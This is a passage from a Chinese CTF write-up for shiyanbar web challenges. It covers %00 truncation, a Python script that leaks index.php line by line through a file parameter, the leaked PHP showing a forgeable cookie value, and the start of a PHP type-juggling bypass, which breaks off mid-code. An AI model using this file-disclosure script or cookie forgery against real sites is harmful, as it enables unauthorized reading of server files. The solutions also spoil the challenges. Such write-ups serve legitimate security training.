题目很多原题,但是还是考验了不少的知识点,就算是原来见过的也当做是复习了一下知识点了。
WEB
ctf入门级题目
非常水的一道题,可以看到源码,然后利用%00截断就可以通过了
曲奇饼
原题,直接利用line和file来泄露文件内容,通过臊面轻松知道存在index.php,然后利用一下得到源码审计
#_*_coding:utf-8_*_
import requests
s=requests.session()
file=''
for i in range(19):
url="http://ctf1.shiyanbar.com/shian-quqi/index.php?line="+str(i)+"&file=aW5kZXgucGhw"
r=s.get(url)
content=r.content
file+=content
print file
得到代码如下
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
然后知道很简单在cookie中伪造一下就行了
类型
这个相对繁琐一些些,但是不难,总之就是需要绕过几个点,这里附一下审计代码
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21